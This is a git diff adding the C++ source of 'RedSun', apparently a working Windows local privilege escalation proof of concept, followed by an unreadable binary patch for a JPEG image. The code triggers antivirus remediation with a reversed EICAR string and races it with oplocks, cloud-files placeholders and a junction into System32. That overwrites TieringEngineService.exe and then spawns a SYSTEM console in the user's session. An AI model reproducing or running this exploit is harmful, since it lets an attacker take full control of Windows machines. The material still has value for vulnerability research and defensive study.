+ wcscpy(malpath, newvsspath); + wcscat(malpath, &foo[2]); + UNICODE_STRING _malpath = { 0 }; + RtlInitUnicodeString(&_malpath, malpath); + OBJECT_ATTRIBUTES objattr2 = { 0 }; + InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hlk = NULL; +retry: + stat = NtCreateFile(&hlk, DELETE | SYNCHRONIZE, &objattr2, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, NULL); + if (stat == STATUS_NO_SUCH_DEVICE) + goto retry; + if (stat) + { + printf("Failed to open file, error : 0x%0.8X\n", stat); + return 1; + + } + printf("The sun is shinning...\n"); + + + OVERLAPPED ovd = { 0 }; + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + DeviceIoControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + return 0; + } + + + DWORD nbytes = 0; + SetEvent(gevent); + ResetEvent(gevent); + GetOverlappedResult(hlk, &ovd, &nbytes, TRUE); + + WaitForSingleObject(gevent, INFINITE); + + + CloseHandle(hlk); + WakeByAddressAll(&gevent); + CloseHandle(gevent); + gevent = NULL; + + return ERROR_SUCCESS; +} + + +void rev(char* s) { + + // Initialize l and r pointers + int l = 0; + int r = strlen(s) - 1; + char t; + + // Swap characters till l and r meet + while (l < r) { + + // Swap characters + t = s[l]; + s[l] = s[r]; + s[r] = t; + + // Move pointers towards each other + l++; + r--; + } +} + + +void DoCloudStuff(wchar_t* syncroot, wchar_t* filename, DWORD filesz = 0x1000) +{ + + CF_SYNC_REGISTRATION cfreg = { 0 }; + cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION); + cfreg.ProviderName = L"SERIOUSLYMSFT"; // let's see how long you can play this game, I'm willing to go as far as you want. + cfreg.ProviderVersion = L"1.0"; + CF_SYNC_POLICIES syncpolicy = { 0 }; + syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES); + syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED; + syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; + syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_NONE; + syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT; + syncpolicy.InSync = CF_INSYNC_POLICY_NONE; + HRESULT hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT); + if (hs) + { + printf("Failed to register syncroot, hr = 0x%0.8X\n", hs); + return; + } + + CF_CALLBACK_REGISTRATION callbackreg[1]; + callbackreg[0] = { CF_CALLBACK_TYPE_NONE, NULL }; + void* callbackctx = NULL; + CF_CONNECTION_KEY cfkey = { 0 }; + hs = CfConnectSyncRoot(syncroot, callbackreg, callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey); + if (hs) + { + printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs); + return; + } + + SYSTEMTIME systime = { 0 }; + FILETIME filetime = { 0 }; + GetSystemTime(&systime); + SystemTimeToFileTime(&systime, &filetime); + + FILE_BASIC_INFO filebasicinfo = { 0 }; + filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL; + CF_FS_METADATA fsmetadata = { filebasicinfo, {filesz} }; + CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 }; + placeholder[0].RelativeFileName = filename; + placeholder[0].FsMetadata = fsmetadata; + + + GUID uid = { 0 }; + wchar_t wuid[100] = {0}; + CoCreateGuid(&uid); + StringFromGUID2(uid, wuid,100); + placeholder[0].FileIdentity = wuid; + placeholder[0].FileIdentityLength = lstrlenW(wuid) * sizeof(wchar_t); + placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE | CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC; + DWORD processedentries = 0; + //WaitForSingleObject(hevent, INFINITE); + hs = CfCreatePlaceholders(syncroot, placeholder, 1, CF_CREATE_FLAG_STOP_ON_ERROR, &processedentries); + if (hs) + { + printf("Failed to create placeholder file, error : 0x%0.8X\n", hs); + return; + } + return; + + +} + + +void LaunchConsoleInSessionId() +{ + + HANDLE hpipe = CreateFile(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hpipe == INVALID_HANDLE_VALUE) + return; + DWORD sessionid = 0; + if (!GetNamedPipeServerSessionId(hpipe, &sessionid)) + return; + CloseHandle(hpipe); + HANDLE htoken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken)) + return; + HANDLE hnewtoken = NULL; + bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken); + CloseHandle(htoken); + if (!res) + return; + + res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD)); + if (!res) + { + CloseHandle(hnewtoken); + return; + } + + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi); + + CloseHandle(hnewtoken); + + if (pi.hProcess) + CloseHandle(pi.hProcess); + if (pi.hThread) + CloseHandle(pi.hThread); + return; + +} + +bool IsRunningAsLocalSystem() +{ + + HANDLE htoken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) { + printf("OpenProcessToken failed, error : %d\n", GetLastError()); + return false; + } + TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER)); + DWORD retsz = 0; + bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz); + CloseHandle(htoken); + if (!res) + return false; + bool ret = IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid); + if (ret) { + LaunchConsoleInSessionId(); + ExitProcess(0); + } + return ret; +} +bool r = IsRunningAsLocalSystem(); + +void LaunchTierManagementEng() +{ + CoInitialize(NULL); + GUID guidObject = { 0x50d185b9,0xfff3,0x4656,{0x92,0xc7,0xe4,0x01,0x8d,0xa4,0x36,0x1d} }; + void* ret = NULL; + HRESULT hr = CoCreateInstance(guidObject, NULL, CLSCTX_LOCAL_SERVER, guidObject, &ret); + + + CoUninitialize(); +} + +int main() +{ + HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\REDSUN", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL,NULL); + if (hpipe == INVALID_HANDLE_VALUE) + return 1; + + wchar_t workdir[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%TEMP%\\RS-", workdir, MAX_PATH); + + GUID uid = { 0 }; + wchar_t wuid[100] = { 0 }; + CoCreateGuid(&uid); + StringFromGUID2(uid, wuid, 100); + wcscat(workdir, wuid); + wchar_t filename[] = L"TieringEngineService.exe"; + wchar_t foo[MAX_PATH]; + wsprintf(foo, L"%ws\\%ws", workdir, filename); + + DWORD tid = 0; + HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ShadowCopyFinderThread, foo, NULL, &tid); + + if (!CreateDirectory(workdir, NULL)) + { + printf("Failed to create workdir"); + return 1; + } + HANDLE hfile = CreateFile(foo, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hfile == INVALID_HANDLE_VALUE) + { + printf("Failed create spoof work file.\n"); + return 1; + } + char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X"; + rev(eicar); + DWORD nwf = 0; + WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL); + + // trigger AV response + CreateFile(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (WaitForSingleObject(gevent, 120000) != WAIT_OBJECT_0) + { + printf("PoC timed out, is real time protection enabled ?"); + return 1; + } + + IO_STATUS_BLOCK iostat = { 0 }; + FILE_DISPOSITION_INFORMATION_EX fdiex = { 0x00000001 | 0x00000002 }; + _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64); + CloseHandle(hfile); + DoCloudStuff(workdir, filename, sizeof(eicar) - 1); + + OVERLAPPED ovd = { 0 }; + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + + SetEvent(gevent); + + WaitOnAddress(&gevent, &gevent, sizeof(HANDLE), INFINITE); + + NTSTATUS stat; + wchar_t ntfoo[MAX_PATH] = { L"\\??\\" }; + wcscat(ntfoo, foo); + UNICODE_STRING _foo = { 0 }; + RtlInitUnicodeString(&_foo, ntfoo); + OBJECT_ATTRIBUTES _objattr = { 0 }; + InitializeObjectAttributes(&_objattr, &_foo, OBJ_CASE_INSENSITIVE, NULL, NULL); + + wchar_t _tmp[MAX_PATH] = { 0 }; + wsprintf(_tmp, L"\\??\\%s.TMP", workdir); + MoveFileEx(workdir,_tmp,MOVEFILE_REPLACE_EXISTING); + if (!CreateDirectory(workdir, NULL)) + { + printf("Failed to re-create directory.\n"); + return 1; + } + LARGE_INTEGER fsz = { 0 }; + fsz.QuadPart = 0x1000; + stat = NtCreateFile(&hfile, FILE_READ_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, &fsz, FILE_ATTRIBUTE_READONLY, FILE_SHARE_READ, FILE_SUPERSEDE, NULL, NULL, NULL); + if (stat) + { + printf("Failed to re-open spoof work file, error : 0x%0.8X\n", stat); + return 1; + } + DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + return 1; + } + + HANDLE hmap = CreateFileMapping(hfile, NULL, PAGE_READONLY, NULL, NULL, NULL); + void* mappingaddr = MapViewOfFile(hmap, PAGE_READONLY, NULL, NULL, NULL); + + DWORD nbytes = 0; + GetOverlappedResult(hfile, &ovd, &nbytes, TRUE); + UnmapViewOfFile(mappingaddr); + CloseHandle(hmap); + + + { + wchar_t _tmp[MAX_PATH] = { 0 }; + wsprintf(_tmp, L"\\??\\%s.TEMP2", workdir); + + PFILE_RENAME_INFORMATION pfri = (PFILE_RENAME_INFORMATION)malloc(sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp))); + ZeroMemory(pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp))); + pfri->ReplaceIfExists = TRUE; + pfri->FileNameLength = (sizeof(wchar_t) * wcslen(_tmp)); + memmove(&pfri->FileName[0], _tmp, (sizeof(wchar_t) * wcslen(_tmp))); + stat = _NtSetInformationFile(hfile, &iostat, pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)), (FILE_INFORMATION_CLASS)10); + _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64); + } + wchar_t _rp[MAX_PATH] = { L"\\??\\" }; + wcscat(_rp, workdir); + UNICODE_STRING _usrp = { 0 }; + RtlInitUnicodeString(&_usrp, _rp); + InitializeObjectAttributes(&_objattr, &_usrp, OBJ_CASE_INSENSITIVE, NULL, NULL); + HANDLE hrp = NULL; + stat = NtCreateFile(&hrp, FILE_WRITE_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL); + if (stat) + { + printf("Failed to re-open work directory.\n"); + return 1; + } + + + wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" }; + DWORD targetsz = wcslen(rptarget) * 2; + DWORD printnamesz = 1 * 2; + DWORD pathbuffersz = targetsz + printnamesz + 12; + DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH; + REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz); + rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; + rdb->ReparseDataLength = static_cast(pathbuffersz); + rdb->Reserved = NULL; + rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL; + rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast(targetsz); + memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2); + rdb->MountPointReparseBuffer.PrintNameOffset = static_cast(targetsz + 2); + rdb->MountPointReparseBuffer.PrintNameLength = static_cast(printnamesz); + memcpy(rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1, rptarget, printnamesz); + DWORD ret = DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, NULL); + HeapFree(GetProcessHeap(), NULL, rdb); + + HANDLE hlk = NULL; + + HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL); + LARGE_INTEGER duetime = { 0 }; + GetSystemTimeAsFileTime((LPFILETIME)&duetime); + ULARGE_INTEGER _duetime = { duetime.LowPart, duetime.HighPart }; + _duetime.QuadPart += 0x2FAF080; + duetime.QuadPart = _duetime.QuadPart; + CloseHandle(hfile); + for (int i = 0; i < 1000; i++) + { + wchar_t malpath[] = { L"\\??\\C:\\Windows\\System32\\TieringEngineService.exe" }; + UNICODE_STRING _malpath = { 0 }; + RtlInitUnicodeString(&_malpath, malpath); + OBJECT_ATTRIBUTES objattr2 = { 0 }; + InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + stat = NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SUPERSEDE, NULL, NULL, NULL); + if (!stat) + break; + Sleep(20); + } + + + if (stat != STATUS_SUCCESS) + { + printf("Something went wrong.\n"); + return 1; + } + printf("The red sun shall prevail.\n"); + + CloseHandle(hlk); + CloseHandle(hrp); + + + + wchar_t mx[MAX_PATH] = { 0 }; + GetModuleFileName(GetModuleHandle(NULL), mx, MAX_PATH); + wchar_t mx2[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH); + CopyFile(mx, mx2, FALSE); + LaunchTierManagementEng(); + Sleep(2000); + CloseHandle(hpipe); + + return 0; +} diff --git a/RedSun/redsun.jpg b/RedSun/redsun.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b011f71943a6c8fcf04c4721ab2d5a06ee487c78 GIT binary patch literal 65750 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 